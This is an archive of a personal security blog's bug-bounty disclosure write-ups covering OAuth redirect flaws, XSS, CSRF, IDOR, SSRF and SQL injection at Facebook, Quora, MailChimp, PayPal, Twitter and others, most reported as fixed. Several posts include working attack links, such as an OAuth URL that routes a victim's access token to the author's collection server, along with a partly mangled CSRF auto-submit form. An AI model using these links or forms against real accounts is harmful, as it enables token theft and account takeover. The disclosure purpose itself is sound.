Security.log

IT Security Blog

[prakharprasad]

HackerOne Vulnerability: Common Response Title Leak through Triggers

In this blog post I'll explain about the bug I found yesterday at HackerOne which netted me their highest bounty so far (as on 15th Oct 2014 GMT +5:30). The bug was on program/team side which involved common responses of other teams being leaked out through a newly introduced feature called triggers. I'll go ahead and explain every thing in depth. Common responses are sort of templates for teams, so that they can respond with generic replies for incoming bugs. The URL for each common response have the following format: https://hackerone.com/common_responses//edit Eg. https://hackerone.com/common_responses/1234/edit

That's brief information about common responses.Let's talk about Triggers. Triggers are basically auto-responding mechanism for incoming bug reports, it works by matching certain strings/patterns in incoming bug report. For example let's say if the title of an incoming bug report match the words - Weak Cipher then we can throw a common response automatically and also set an appropriate report state, say - Needs more information. The interface to add a new trigger looks like:

Now, once the details are filled in the form and a common response/state is selected , we can go ahead and activate the trigger. After the trigger activates it looks like the following in the team dashboard. We can see in Action attribute that title of the selected common response is visible clearly. So now let's come to actual vulnerability, which is fairly simple. While saving a newly added/created trigger, the following JSON is sent to the server: {"title":"hackerone","criteria":[{"field":"any","type":"inclusion","inverse":false,"data":"agfagasga"}],"actions":[{"type":"request-needs-more-info","common_response_id":24}],"disabled":false}

common_response_id takes a numeric parameter and sets the appropriate trigger title after the request is passed on to the server and trigger gets saved to the dashboard. As I explained earlier the common response URLs have numeric values, I repeated the HTTP request and modified common_response_id from numeric value 1 to 100 iteratively, and the results were sort of shocking, when each trigger got saved to the dashboard the common responses title of other teams were visible in Action attribute of saved Trigger. Although I've redacted the leaked titles due to sake of privacy but I can assure you that I'm not trolling and they were really of other teams at HackerOne. So that's all. I was really very happy to see HackerOne team quickly triaging & patching this bug.They triaged my bug in just six minutes after I hit send report on my side.  Feedbacks are welcome!

[prakharprasad]

Facebook MailChimp Application OAuth 2.0 Misconfiguration

I am sharing one of my findings that I submitted to Facebook's Whitehat program earlier this year. Facebook Ads Manager provides a sort of integration with MailChimp, to fetch data to Facebook Ads Manager.The application is a part of MailChimp website, it works on MailChimp OAuth 2.0 implementation and is purely developed by Facebook Developers. So once the MailChimp user authorises the application, it will send MailChimp data to Facebook Ads Manager. OAuth Authorisation URL for Facebook Custom Audiences is/was: https://login.mailchimp.com/oauth2/authorize?response_type=code&client_id=11204107077 7&redirect_uri=https%3A%2F%2Fwww.facebook.com%2Fad s%2Fmanage%2Fcontact_importer_auth%2F I tried to play around with redirect_uri to hijack the control flow, via different techniques but failed.I moved and started fiddling around the MailChimp OAuth 2.0 specs, I discovered something interesting, the specs talks about wildcard redirect_uri. So, I gave a second thought what-if Facebook had their redirect_uri misconfigured to *.facebook.com instead of www.facebook.com. I tried a few requests such as the following and all worked: https://login.mailchimp.com/oauth2/authorize?response_type=token&client_id=1120410707 77&redirect_uri=https%3A%2F%2Ftest.facebook.com%2F derp%2F https://login.mailchimp.com/oauth2/authorize?response_type=code&client_id=11204107077 7&redirect_uri=https%3A%2F%2Fderp.facebook.com%2Fb lahblah%2F So, basically I can tamper the redirect_uri and hijack the OAuth flow to [controlled].facebook.com. Moving on, it's evident that Facebook hosts 3rd party applications under apps.facebook.com/appname, using this a redirect url can be constructed which will point to a malicious 3rd party that will steal the MailChimp access_token using this Facebook Custom Audiences Application. Final Attacking Steps would be: 1. Attacker sends Facebook Custom Audiences OAuth link with tampered redirect_uri to the victim: https://login.mailchimp.com/oauth2/authorize?response_type=token&client_id=1120410707 77&redirect_uri=https%3A%2F%2Fapps.facebook.com%2F attacker%2F 2. Victim Authorises the MailChimp application 3. Attacker receives access_token using his malicious app hosted at apps.facebook.com/appname Facebook has fixed the vulnerability by restricting redirect_uri to www.facebook.com and rewarded this bug. Proof of Concept:

[prakharprasad]

Facebook FriendFeed Stored XSS

I'm writing about a stored XSS which I found on one of Facebook's Acquisition,  FriendFeed. I started to check on FriendFeed website, for possible bugs, but failed to get anything good there. Then all of a sudden, I thought to give a shot on it's API. FriendFeed API, allows users to fetch status updates, comments etc. from FriendFeed profiles of any user.So I changed the profile name of my test to an XSS payload, upon viewing the profile via JSON output through the API results in an XSS being triggered (Which initially worked on IE6 :(  ).

Whoa, XSS executed? but wait it's executed on friendfeed-api.com, not on friendfeed.com. I reported this to Facebook Security and they said :

So, I started to find a way through, after Googling for some time. I discovered a deprecated version of FriendFeed API, which executed on www.friendfeed.com (of course, not on friendfeed-api.com). So, I updated my test account's status and then commented an XSS vector on it, fetching the comment will result in a non-sanitised JSON being returned and XSS being triggered via content-sniffing. (Only in IE, upto 9). Final POC:

[prakharprasad]

Flipkart.com - Elevation of Privilege Vulnerability

 Just wanted to share a privilege escalation vulnerability affecting Flipkart, a top-notch e-commerce website in India having local Alexa Internet ranking of 10.

Let's jump to the background of the issue. Flipkart allows users to save shipping addresses for future usage. As soon as the address is saved, a deletion option along with the saved address, something similar to the one below:

So once the delete option is hit, there would be a POST request sent to the server. The request is like:

                         There are two parameters going inside the body of POST request - __FK and address_id, __FK is the CSRF protection token used by Flipkart and address_id is a unique identifier for the saved address. So with each and every address saved in Flipkart for different users, address identifiers are saved along with them. So now comes the security issue, if one account tampers, then modifies the address_id of another user and replay the request, then server will delete saved address of another account. For example, say there are two users - A and B. A has saved a shipping address and has an address identifier ADD123 and user B somehow knows the identifier of A, so now B saves an address in his own account then, goes ahead to the delete option, then tampers the request and changes the address_id parameter to ADD123 then forwards the request to server, server would return a JSON object like below and delete the saved address of user A.

I'm a frequent user of Flipkart and I contacted their Security Team as soon as I confirmed the vulnerability at my end, this has been patched by them completely. Although looks severe but exploitability of this vulnerability was low as the address identifier was unpredictable for an individual user.  

[prakharprasad]

SSRF/XSPA in MailChimp

Hey! It's been a while since I blogged about security bugs here, so let me start off once again. About two weeks ago I found an OAuth based bug that affected Facebook, which since then got patched by their security team and I got some reward for that. This OAuth bug relied on an endpoint which was connected to MailChimp. So I was testing the OAuth2 implementation on MailChimp as the endpoint used by Facebook was connected to MailChimp, while fiddling around with redirect_uri input area provided by MailChimp I found that the web application tried to connect with the URL provided in redirect_uri. So this was something interesting based on the observations below I was able to confirm that the web application was vulnerable to SSRF/XSPA. Relying on the scheme http://domain:port I was able to port scan Internet facing servers (eg. scanme.nmap.org) for open/closed ports. So here's the responses I got: Open Port (running non-HTTP aware service) Response: Unable to read response, or response is empty

Open Port (running HTTP aware service)  Response: No response/error

Closed Port Response: Unable to Connect to tcp://domain:port. Error #101: Network is unreachable 

So observing the above request/response pairs we can conduct port scans and automate everything in a scripting language like Python to build port scanners. MailChimp has confirmed this issue and pushed a fix for this, I was placed in their "Security Response - Thank You" list.

[prakharprasad]

Update on Botconf'13 slides

I and Himanshu Sharma gave a talk on abuse of addons/extensions on Chrome/Firefox browsers on Botconf 2013 Conference, France. I would like to publicly apologise for forgetting to add appropriate credits to Balázs Zoltán for his previous works on this research.

Through this post I'm publicly acknowledging him and giving credits of his part of research for over my slides. You may find his slides here If I missed anyone else please let me know. Thanks and apologies again to Balázs ! Sorry!

[prakharprasad]

Triggering an unexploitable DOM-based XSS in Rediff Blogs automagically

I want to share the details behind a DOM-based XSS which I found on Rediff Blogs. At first glance it looks unexploitable as the source of XSS is a cookie, which then lands in an innerHTML sink.So for exploitation we need a cookie to be present on the client which will be read by vulnerable piece of JavaScript code.

The issue was on the "404" page of http://blogs.rediff.com/ , while looking at the client-side source code of that page I found a possible DOM-based XSS vulnerable code, can be seen below Most of the code is self-explanatory, Rlo is the vulnerable variable which loads a value from cookie (of the same name) and then it is passed into innerHTML sink of a SPAN tag. Rm should also be set to some value not equal to NULL, so that we can trigger this DOM-based XSS, here again we need a cookie to make Rm not equal to NULL. Now, looks difficult to make it an one click exploit, as we would need the cookie with our vector to be set already and another thing is Rm cookie, which will push Rlo to reach the sink. For exploitation here comes the real trick, we can set a root domain cookie (i.e, .rediff.com) which will be accessible (according to same-origin policy) from all subdomains of rediff.com To achieve this goal, I found another XSS, this time Flash-based XSS on imworld.rediff.com , vulnerable file was in this case swfupload.swf (See http://seclists.org/fulldisclosure/2012/Nov/121). Achievement unlocked! I can now set cookies for .rediff.com . I quickly wrote a PHP one-liner that redirects the user to the vulnerable Flash-file, with XSS vector set to write the required cookies for .rediff.com . See the PHP source code: After setting the cookies it will automatically redirect our victim to the vulnerable 404 page, so now with required cookies in place, we can trigger this DOM-based XSS automagically. Aaaaaand,

I've made a video to make this write-up more meaningful:

These issues have been patched by Rediff Security. Reference: http://miladbr.blogspot.de/2013/04/exploiting-unexploitable-dom-based-xss.html

[prakharprasad]

Pwning Facebook accounts, taking a little help from Quora

I want to share the details of a redirection flaw, which I found on Quora, an extremely popular Q/A website, possessing Alexa rank of around 800 worldwide and how someone can exploit the issue to hack Facebook accounts. So, let's come to the topic. While doing sign-up for Quora website, I preferred using Facebook Connect which gives "limited" access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed www.quora.com was permitted to receive the access_token from Facebook OAuth, any other domain other than www.quora.com would result in a failure of that request. See below

Cool, I needed to find an open redirection inside the www.quora.com to steal the access_token of any Quora user who signed-up using Facebook and has App enabled.

Luckily I found a redirection issue in the contacts import page itself. The redirector was like:

https://www.quora.com/contacts/skip?goto=http://www.google.com So this link would redirect to http://www.google.com, accordingly I can redirect users to any domain of my choice.

Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at http://poc.prakharprasad.com/quora 

To make it a working exploit I needed these: 1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in next parameter of OAuth authorization URL with a valid access_token.

2. As discussed we know next can be any page/resource under www.quora.com. So next parameter must be set to https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token to http://poc.prakharprasad.com/quora where my script will do its job.

Final OAuth authorization URL that would steal the access_token looks like https://www.facebook.com/dialog/permissions.request?app_id=136609459636&next=https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&response_type=token

Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened. Using the stolen access_token I can, for example publish a status on victim's profile.

Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!

As usual, here's the video demo :

Timeline: 8th June 2013 - Vulnerability Found 9th June 2013 - Vulnerability Reported 13th June 2013 - No Reply from Quora 13th June 2013 - Another notification sent to Quora staff member, got a reply acknowledging the issue 14th June 2013- Fix deployed on Quora, public disclosure  

[prakharprasad]

Flash-based XSS Mayhem: Most Security Solution Vendors Vulnerable

Here's an XSS Gallery showing Flash-based XSS issues on top Security Solution Vendors. Issues here are found by me and my friend +dhaval chauhan UPDATE:  This post was taken down initially in May (within an hour), as at that time vendors were not informed. Then was republished on 7th June 2013 01:25AM IST. All vendors have addressed the issues shown here, all vendors were notified before.

Norton

Avira

AVG

BitDefender

TrendMicro:

McAfee

F-Secure

[prakharprasad]

Dropbox for Business Mailing List Unsubscribe Users (Permission Issue)

I want to share my finding on a  recent security issue I discovered on Dropbox for Business mailing list. So, this bug allows me to unsubscribe any user account that is subscribed to Dropbox for Business mailing list. I discovered a page (https://lp.dropboxteam.com/UnsubscribePage.html) that allows you to unsubscribe your own account, from the mailing list by specifying YOUR OWN email address into the page. For normal flow, once the user submits his email address on that page a check should be performed based on his logged-in account, whether he's permissible to unsubscribe the email address submitted.If this check fails then action should be denied, right ?. The case in Dropbox was like if you submit any valid email address in the unsubscribe page, it will get unsubscribed without any permission check.See the below: VIDEO POC :

I reported this issue to Dropbox Security, they said :

The attacker would require knowledge of the users email address, and even then the non-deliver of the emails in question would not impact emails like password rest emails, shared folder emails etc. To be specific, its not a security threat to Dropbox users.

 So this issue remains unfixed (at least as of 22th May 2013)

[prakharprasad]

Dropbox Team Website Open Redirection

On 25th April, I discovered an unvalidated (open) redirection on Dropbox Team website from which they send emails to the Dropbox users. VIDEO POC:

They have fixed this issue as of 17th May and offered me a 100GB Dropbox Pro account + T-Shirt + Mention on Special Thanks page.

[prakharprasad]

Twitter Whitehat Vulnerability for 2013: Flash-based XSS in Summify

On 6 May, I discovered a Flash-based XSS on Summify, a Twitter acquisition. This Flash-based XSS has its root to popular yet notoriously vulnerable ZeroClipboard plugin. The XSS bug inside ZeroClipboard is due to the following piece of ActionScript code: If you observe closely on line number 2-3, id variable is build up using external (flash) variable id which is user controllable. Now in lines 16-25 there are multiple calls made to ExternalInterface.call, which executes Javascript with origin of the page or website loading it and id variable is passed as the second parameter to it without any encoding or sanitisation. Exploitation of similar scenario has been explained very well by Soroush Dalili on his blog. Luckily enough I found this plugin on Summify website and successfully managed to execute Javascript using the XSS bug. POC:

Issue was reported to Twitter Security Team on 6th May itself and has been fixed as of 9th May. If you are looking for a ZeroClipboard fix then a patch has already been made to control the behavior to prevent XSS and can be found here Twitter has featured me on their "Security at Twitter" for 2013

P.S: The XSS bug in original ZeroClipboard project was not discovered by me. Only write-up of the issue has been written here by me for clarity. 

[prakharprasad]

Google Website Translator (Add Editor) CSRF and Google Tasks Clickjacking

I'd like to share some of my Google bugs. 1. Google Website Translator CSRF (Add Editor) Allowed me to become an Editor on someone's Google Website Translator Service. The page had CSRF Protection, but the CSRF token check was skipped on server side.

Video POC:

2. Google Tasks (Part of Gmail) Clickjacking

Found a clickjacking issue in Google Tasks (Gmail), I was able to add arbitrary tasks in users' task list. The affected page was missing X-FRAME-OPTIONS header. Video POC:

These issues have been fixed by Google Security

[prakharprasad]

File Upload Bug in PayPal's BillMeLater worth $5000

I want to share my finding on a recent issue I found in a subdomain of BillMeLater.com (a Paypal service). On 1st March, during my regular course of bug hunting in Paypal services, I found a file uploading issue that allowed me to upload files of certain extensions on the BillMeLater server. Initially I noticed the website was running an outdated version of DotNetNuke (an ASP.NET based CMS) with the file uploader enabled. Allowed extensions were: *. docx, *.xlsx, *.pptx, *.swf, *.jpg, *.jpeg, *.jpe, *.gif, *.bmp, *.png, *.doc, *.xls, *.ppt, *.pdf, *.txt, *.xml, *.xsl, *.css, *.zip, *.spin 

File Uploader on BillMeLater server

So for testing purpose I uploaded a file on the server with some text content:

I even tried to upload an ASP-shell within the restrictions but It didn't work on the server :( . If it had run then I could have got the possibility of command execution on the server. Anyway, I reported the issue to Paypal Security Team, they addressed the issue quickly with a reward of $5000 USD.

[prakharprasad]

Facebook Whitehat Vulnerability for 2013: Open Redirection in Facebook Mobile

Sometime back, I found an open redirect vulnerability in Facebook mobile site (http://m.facebook.com) According to OWASP:

An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it

So typically what happens in Facebook is that whenever you try to visit any external links, the URL is first thrown to l.php (See the note from Facebook Security here) and then l.php redirects to the website and before redirecting if l.php finds the website to be marked malicious then it won't redirect and will display an error message.

Now one fine day while browsing the Facebook mobile website I noticed someone had uploaded a video on Facebook so I tried to view it by clicking the video thumbnail and a download pop-up appeared.On careful examination the link Facebook used to generate the URL was like this:

http://m.facebook.com/video_redirect/?src=[LINK_TO_VIDEO]

So I manipulated the 'src' parameter to something like http://www.google.com, so the link became:

http://m.facebook.com/video_redirect/?src=http://www.google.com Whoa! It successfully redirected to http://www.google.com , so this was the issue.

Facebook fixed this issue within two weeks and offered a monetary reward of $500 USD

I have been featured in Facebook Whitehat List for 2013. 

[prakharprasad]

Blind SQL Injection in PayPal Notifications worth $3000

On 28th December 2012 I found a Blind SQL Injection vulnerability in the Paypal Notifications (https://www.paypal-notify.com) This bug allowed me to access the database of Paypal Notifications system. More details on Blind SQL Injection can be read here As a part of Paypal Bug Bounty Program, I did a responsible disclosure of the bug to Paypal Security Team and the issue was addressed immediately, just the next day after my bug report due to its high severity.

SQLMap showing the database name after the Injection

On 21st January Paypal Site Security Team sent the reward amount which was $3000 for the SQLi and additional $350 for other less critical bugs.

I'm very thankful to Paypal Site Security Team for the reward and Shai Rod for additional help.

[prakharprasad]

Twitter Whitehat Vulnerability for 2012: Translation Center CSRF/XSRF

On 28th September 2012, I found a Cross-Site Request Forgery vulnerability on  http://translate.twttr.com which is the Twitter Translation Center While checking the service I landed up on the "Accounts Settings" page which looked like this.

So we've two options here, first one toggles the Twitter Badge setting on Twitter.com and second one  toggles the badge related notification. POST request which disables both the settings looks like this: POST /user/update HTTP/1.1 Host: translate.twttr.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Proxy-Connection: keep-alive Referer: http://translate.twttr.com/user/prakharprasad/settings Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 175 utf8=%E2%9C%93&_method=put& authenticity_token=B6PJGp2Hkm1zi6lVN%2FIueNd7QqlAhIfM5C1pht1MzE8%3D& user%5Bid%5D=809244&user%5Bbadging_exempted%5D=0&user%5Breceive_badge_email%5D=0 Now in the POST content, parameters of our interest are authenticity_token which is the CSRF prevention token generated by Twitter, user[badging_exempted] and user[receive_badge_email]  toggles the badge related settings, user[id] is the user id of  user, in my case it was 809244 and is static.

So, normally to prevent CSRF on this page authenticity_token needs to be verified on server-side, right ? but this wasn't the situation when I checked it. The server allowed the form to be submitted without even checking the authenticity_token (WTF?), which rendered it useless.So we had a CSRF here. The final Proof-of-Concept code I sent to Twitter Security Team to demonstrate CSRF existence looked like this:

onload=document.getElementById('xsrf').submit()>

id

='xsrf' method="post" action="http://translate.twttr.com/user/update">type='hidden' name='user[badging_exempted]' value='0'>type='hidden' name='user[id]=user[id]' value='809244'>type='hidden' name='user[receive_badge_email]' value='0'> _jim of Twitter Security Team replied within 1 hour of my initial bug report which said the team is investigating the issue.On 16th October the issue was addressed and then onwards the authenticity_token gets checked on the server-side. Any modification to the token results in an error page which looks like this:

I'm very thankful to Twitter Team for putting my name along with other white-hats on "Security at Twitter" Page. Conclusively I would thank _jim who kept me in sync while the issue was investigated and addressed.